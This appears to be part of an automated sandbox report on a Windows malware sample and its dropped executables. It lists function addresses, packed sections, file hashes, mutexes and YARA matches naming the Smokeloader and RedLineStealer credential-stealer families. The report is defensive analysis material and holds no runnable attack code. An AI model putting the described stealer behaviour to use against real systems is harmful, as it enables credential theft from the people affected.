Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5CEE70	0_2_6C5CEE70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C610E20	0_2_6C610E20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C53AEC0	0_2_6C53AEC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5D0EC0	0_2_6C5D0EC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5B6E90	0_2_6C5B6E90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C59EF40	0_2_6C59EF40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5F2F70	0_2_6C5F2F70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C536F10	0_2_6C536F10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C670F20	0_2_6C670F20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C60EFF0	0_2_6C60EFF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C530FE0	0_2_6C530FE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C678FB0	0_2_6C678FB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C53EFB0	0_2_6C53EFB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C604840	0_2_6C604840
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C580820	0_2_6C580820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5BA820	0_2_6C5BA820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6368E0	0_2_6C6368E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C568960	0_2_6C568960
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C586900	0_2_6C586900
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C64C9E0	0_2_6C64C9E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5649F0	0_2_6C5649F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5F09B0	0_2_6C5F09B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5C09A0	0_2_6C5C09A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5EA9A0	0_2_6C5EA9A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5ACA70	0_2_6C5ACA70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5DEA00	0_2_6C5DEA00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5E8A30	0_2_6C5E8A30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5AEA80	0_2_6C5AEA80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C636BE0	0_2_6C636BE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5D0BA0	0_2_6C5D0BA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C548460	0_2_6C548460
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5BA430	0_2_6C5BA430
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C594420	0_2_6C594420
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5764D0	0_2_6C5764D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5CA4D0	0_2_6C5CA4D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C65A480	0_2_6C65A480
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C588540	0_2_6C588540
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C634540	0_2_6C634540
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5D0570	0_2_6C5D0570
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C678550	0_2_6C678550
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C592560	0_2_6C592560
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5BE5F0	0_2_6C5BE5F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5FA5E0	0_2_6C5FA5E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5245B0	0_2_6C5245B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C58C650	0_2_6C58C650
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5546D0	0_2_6C5546D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C58E6E0	0_2_6C58E6E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5CE6E0	0_2_6C5CE6E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5B0700	0_2_6C5B0700
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C55A7D0	0_2_6C55A7D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C57E070	0_2_6C57E070
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5F8010	0_2_6C5F8010
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5FC000	0_2_6C5FC000
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C528090	0_2_6C528090
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C60C0B0	0_2_6C60C0B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5400B0	0_2_6C5400B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C598140	0_2_6C598140
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C614130	0_2_6C614130
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5A6130	0_2_6C5A6130
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5301E0	0_2_6C5301E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5C8250	0_2_6C5C8250
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5B8260	0_2_6C5B8260
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C608220	0_2_6C608220
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5FA210	0_2_6C5FA210
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6B62C0	0_2_6C6B62C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6022A0	0_2_6C6022A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5FE2B0	0_2_6C5FE2B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C64C360	0_2_6C64C360
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C538340	0_2_6C538340
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C672370	0_2_6C672370
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C532370	0_2_6C532370
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5C6370	0_2_6C5C6370
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5A2320	0_2_6C5A2320
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5843E0	0_2_6C5843E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C58E3B0	0_2_6C58E3B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5623A0	0_2_6C5623A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C533C40	0_2_6C533C40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C659C40	0_2_6C659C40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C541C30	0_2_6C541C30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C66DCD0	0_2_6C66DCD0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5F1CE0	0_2_6C5F1CE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5CFC80	0_2_6C5CFC80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C593D00	0_2_6C593D00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C601DC0	0_2_6C601DC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C523D80	0_2_6C523D80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C679D90	0_2_6C679D90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6B5E60	0_2_6C6B5E60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C68BE70	0_2_6C68BE70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C63DE10	0_2_6C63DE10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C553EC0	0_2_6C553EC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C687F20	0_2_6C687F20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C525F30	0_2_6C525F30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C565F20	0_2_6C565F20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C64DFC0	0_2_6C64DFC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6B3FC0	0_2_6C6B3FC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5DBFF0	0_2_6C5DBFF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C551F90	0_2_6C551F90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C58D810	0_2_6C58D810
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C60F8F0	0_2_6C60F8F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C68B8F0	0_2_6C68B8F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5CF8C0	0_2_6C5CF8C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C53D8E0	0_2_6C53D8E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5638E0	0_2_6C5638E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5AF960	0_2_6C5AF960
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5ED960	0_2_6C5ED960
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C67F900	0_2_6C67F900
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5E5920	0_2_6C5E5920
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5699D0	0_2_6C5699D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5C99C0	0_2_6C5C99C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5959F0	0_2_6C5959F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5C79F0	0_2_6C5C79F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C541980	0_2_6C541980
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C601990	0_2_6C601990
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6B9A50	0_2_6C6B9A50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C56FA10	0_2_6C56FA10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5D1A10	0_2_6C5D1A10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C62DA30	0_2_6C62DA30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C531AE0	0_2_6C531AE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C60DAB0	0_2_6C60DAB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C60FB60	0_2_6C60FB60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C57BB20	0_2_6C57BB20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C577BF0	0_2_6C577BF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C521B80	0_2_6C521B80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5F9BB0	0_2_6C5F9BB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C615B90	0_2_6C615B90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C589BA0	0_2_6C589BA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5BD410	0_2_6C5BD410
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C619430	0_2_6C619430
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5314E0	0_2_6C5314E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6B14A0	0_2_6C6B14A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C545510	0_2_6C545510
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C597500	0_2_6C597500
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C67F510	0_2_6C67F510
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5B55F0	0_2_6C5B55F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C569590	0_2_6C569590
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C549650	0_2_6C549650
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C585640	0_2_6C585640
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5A7610	0_2_6C5A7610
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C559600	0_2_6C559600
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 12_2_00C7E530	12_2_00C7E530
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 12_2_00CB78BB	12_2_00CB78BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 12_2_00CB7049	12_2_00CB7049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 12_2_00CB8860	12_2_00CB8860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 12_2_00C74DE0	12_2_00C74DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 12_2_00CB31A8	12_2_00CB31A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 12_2_00CB2D10	12_2_00CB2D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 12_2_00CB779B	12_2_00CB779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 12_2_00C74B30	12_2_00C74B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 12_2_00CA7F36	12_2_00CA7F36
Source: C:\Users\user\AppData\Local\Temp\1010571001\adebfeb535.exe	Code function: 15_2_00410940	15_2_00410940
Source: C:\Users\user\AppData\Local\Temp\1010571001\adebfeb535.exe	Code function: 15_2_0041A346	15_2_0041A346
Source: C:\Users\user\AppData\Local\Temp\1010571001\adebfeb535.exe	Code function: 15_2_0040EBC7	15_2_0040EBC7
Source: C:\Users\user\AppData\Local\Temp\1010571001\adebfeb535.exe	Code function: 15_2_00403D40	15_2_00403D40
Source: C:\Users\user\AppData\Local\Temp\1010571001\adebfeb535.exe	Code function: 15_2_00415E59	15_2_00415E59
Source: C:\Users\user\AppData\Local\Temp\1010571001\adebfeb535.exe	Code function: 15_2_0040B6D0	15_2_0040B6D0
Source: C:\Users\user\AppData\Local\Temp\1010571001\adebfeb535.exe	Code function: 15_2_00402EE0	15_2_00402EE0
Source: C:\Users\user\AppData\Local\Temp\1010571001\adebfeb535.exe	Code function: 15_2_00404F70	15_2_00404F70
Source: C:\Users\user\AppData\Local\Temp\1010571001\adebfeb535.exe	Code function: 15_2_0040EF09	15_2_0040EF09
Source: C:\Users\user\AppData\Local\Temp\1010571001\adebfeb535.exe	Code function: 15_2_0041572E	15_2_0041572E
Source: C:\Users\user\AppData\Local\Temp\1010571001\adebfeb535.exe	Code function: 15_2_005E507D	15_2_005E507D
Source: C:\Users\user\AppData\Local\Temp\1010571001\adebfeb535.exe	Code function: 15_2_005D483A	15_2_005D483A
Source: C:\Users\user\AppData\Local\Temp\1010571001\adebfeb535.exe	Code function: 15_2_00477837	15_2_00477837
Source: C:\Users\user\AppData\Local\Temp\1010571001\adebfeb535.exe	Code function: 15_2_004F4CAF	15_2_004F4CAF
Source: C:\Users\user\AppData\Local\Temp\1010571001\adebfeb535.exe	Code function: 15_2_005D2D71	15_2_005D2D71
Source: C:\Users\user\AppData\Local\Temp\1010571001\adebfeb535.exe	Code function: 15_2_005E0169	15_2_005E0169
Source: C:\Users\user\AppData\Local\Temp\1010571001\adebfeb535.exe	Code function: 15_2_005B990D	15_2_005B990D
Source: C:\Users\user\AppData\Local\Temp\1010571001\adebfeb535.exe	Code function: 15_2_005E2997	15_2_005E2997
Source: C:\Users\user\AppData\Local\Temp\1010571001\adebfeb535.exe	Code function: 15_2_004739B6	15_2_004739B6
Source: C:\Users\user\AppData\Local\Temp\1010571001\adebfeb535.exe	Code function: 15_2_005909AA	15_2_005909AA
Source: C:\Users\user\AppData\Local\Temp\1010571001\adebfeb535.exe	Code function: 15_2_005DB20F	15_2_005DB20F
Source: C:\Users\user\AppData\Local\Temp\1010571001\adebfeb535.exe	Code function: 15_2_005D62D5	15_2_005D62D5
Source: C:\Users\user\AppData\Local\Temp\1010571001\adebfeb535.exe	Code function: 15_2_005C9717	15_2_005C9717
Source: C:\Users\user\AppData\Local\Temp\1010571001\adebfeb535.exe	Code function: 15_2_005D97F2	15_2_005D97F2
Source: C:\Users\user\AppData\Local\Temp\1010571001\adebfeb535.exe	Code function: 15_2_00515FB1	15_2_00515FB1
Source: C:\Users\user\AppData\Local\Temp\1010571001\adebfeb535.exe	Code function: 15_2_049451D7	15_2_049451D7
Source: C:\Users\user\AppData\Local\Temp\1010571001\adebfeb535.exe	Code function: 15_2_0494EE2E	15_2_0494EE2E
Source: C:\Users\user\AppData\Local\Temp\1010571001\adebfeb535.exe	Code function: 15_2_04943FA7	15_2_04943FA7
Source: C:\Users\user\AppData\Local\Temp\1010571001\adebfeb535.exe	Code function: 15_2_04955995	15_2_04955995
Source: C:\Users\user\AppData\Local\Temp\1010571001\adebfeb535.exe	Code function: 15_2_049451D7	15_2_049451D7
Source: C:\Users\user\AppData\Local\Temp\1010571001\adebfeb535.exe	Code function: 15_2_0494B937	15_2_0494B937
Source: C:\Users\user\AppData\Local\Temp\1010571001\adebfeb535.exe	Code function: 15_2_0494F170	15_2_0494F170
Source: C:\Users\user\AppData\Local\Temp\1010571001\adebfeb535.exe	Code function: 15_2_04950BA7	15_2_04950BA7

Source: Joe Sandbox View	Dropped File: C:\ProgramData\freebl3.dll EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
Source: Joe Sandbox View	Dropped File: C:\ProgramData\mozglue.dll BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A

Source: C:\Users\user\AppData\Local\Temp\1010571001\adebfeb535.exe	Code function: String function: 0040A7A0 appears 35 times
Source: C:\Users\user\AppData\Local\Temp\1010571001\adebfeb535.exe	Code function: String function: 0494AA07 appears 34 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C6BDAE0 appears 79 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C559B10 appears 107 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C6B09D0 appears 330 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C553620 appears 95 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C6BD930 appears 63 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C58C5E0 appears 35 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C669F30 appears 52 times

Source: file.exe, 00000000.00000002.2150479911.00000000234D7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exe.MUIj% vs file.exe
Source: file.exe, 00000000.00000002.2150479911.00000000234D7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs file.exe
Source: file.exe, 00000000.00000002.2154446373.000000006F902000.00000002.00000001.01000000.0000000A.sdmp	Binary or memory string: OriginalFilenamemozglue.dll0 vs file.exe
Source: file.exe, 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmp	Binary or memory string: OriginalFilenamenss3.dll0 vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 0000000F.00000002.3295158061.0000000004940000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 0000000F.00000002.3292535145.0000000004790000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12

Source: file.exe	Static PE information: Section: drohdkwe ZLIB complexity 0.9946130796068428
Source: random[1].exe.0.dr	Static PE information: Section: ZLIB complexity 0.9981799216621253
Source: random[1].exe.0.dr	Static PE information: Section: rodlpghq ZLIB complexity 0.9945907546562689
Source: FCFBFHIEBK.exe.0.dr	Static PE information: Section: ZLIB complexity 0.9981799216621253
Source: FCFBFHIEBK.exe.0.dr	Static PE information: Section: rodlpghq ZLIB complexity 0.9945907546562689
Source: skotes.exe.9.dr	Static PE information: Section: ZLIB complexity 0.9981799216621253
Source: skotes.exe.9.dr	Static PE information: Section: rodlpghq ZLIB complexity 0.9945907546562689
Source: random[1].exe.12.dr	Static PE information: Section: bjjwxerz ZLIB complexity 0.994455499276411
Source: 67d914dff5.exe.12.dr	Static PE information: Section: bjjwxerz ZLIB complexity 0.994455499276411
Source: random[1].exe0.12.dr	Static PE information: Section: ZLIB complexity 0.9942525875796179
Source: random[1].exe0.12.dr	Static PE information: Section: zeyoifdy ZLIB complexity 0.9922996438720489
Source: adebfeb535.exe.12.dr	Static PE information: Section: ZLIB complexity 0.9942525875796179
Source: adebfeb535.exe.12.dr	Static PE information: Section: zeyoifdy ZLIB complexity 0.9922996438720489
Source: random[1].exe1.12.dr	Static PE information: Section: ckkgfuxh ZLIB complexity 0.9945532801978114
Source: bb0adee266.exe.12.dr	Static PE information: Section: ckkgfuxh ZLIB complexity 0.9945532801978114
Source: random[2].exe1.12.dr	Static PE information: Section: ZLIB complexity 0.9974088541666667
Source: random[2].exe1.12.dr	Static PE information: Section: dfralmjm ZLIB complexity 0.9942892772198731
Source: 39c228201d.exe.12.dr	Static PE information: Section: ZLIB complexity 0.9974088541666667
Source: 39c228201d.exe.12.dr	Static PE information: Section: dfralmjm ZLIB complexity 0.9942892772198731
Source: random[2].exe2.12.dr	Static PE information: Section: drohdkwe ZLIB complexity 0.9946130796068428
Source: d88d6966da.exe.12.dr	Static PE information: Section: drohdkwe ZLIB complexity 0.9946130796068428

Source: 39c228201d.exe.12.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: bb0adee266.exe.12.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: adebfeb535.exe.12.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: random[1].exe0.12.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: random[2].exe1.12.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: random[1].exe1.12.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@49/52@80/13

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C590300 MapViewOfFile,GetLastError,FormatMessageA,PR_LogPrint,GetLastError,PR_SetError,

0_2_6C590300

Source: C:\Users\user\AppData\Local\Temp\1010571001\adebfeb535.exe

Code function: 15_2_04798464 CreateToolhelp32Snapshot,Module32First,

15_2_04798464

Source: C:\Users\user\AppData\Local\Temp\1010571001\adebfeb535.exe

Code function: 15_2_00401970 HttpAddRequestHeadersA,InternetSetFilePointer,InternetReadFile,HttpQueryInfoA,CoCreateInstance,

15_2_00401970

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\PC9EMAE8.htm

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7784:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d
Source: C:\Users\user\AppData\Local\Temp\1010570001\67d914dff5.exe	Mutant created: \Sessions\1\BaseNamedObjects\My_mutex

Source: C:\Users\user\Documents\FCFBFHIEBK.exe

File created: C:\Users\user\AppData\Local\Temp\abc3bc1985

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1010571001\adebfeb535.exe	Command line argument: nosub		15_2_004087E0
Source: C:\Users\user\AppData\Local\Temp\1010571001\adebfeb535.exe	Command line argument: mixtwo		15_2_004087E0

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1010570001\67d914dff5.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010570001\67d914dff5.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010570001\67d914dff5.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010570001\67d914dff5.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010570001\67d914dff5.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior

Source: softokn3[1].dll.0.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: file.exe, 00000000.00000002.2153782770.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2147868752.000000001D495000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: softokn3[1].dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: file.exe, 00000000.00000002.2153782770.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2147868752.000000001D495000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: file.exe, 00000000.00000002.2153782770.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2147868752.000000001D495000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: chrome.exe, 00000013.00000002.3173793917.00007D0C00764000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE psl_extensions (domain VARCHAR NOT NULL, UNIQUE (domain));
Source: file.exe, 00000000.00000002.2153782770.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2147868752.000000001D495000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: softokn3[1].dll.0.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: softokn3[1].dll.0.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: softokn3[1].dll.0.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: softokn3[1].dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
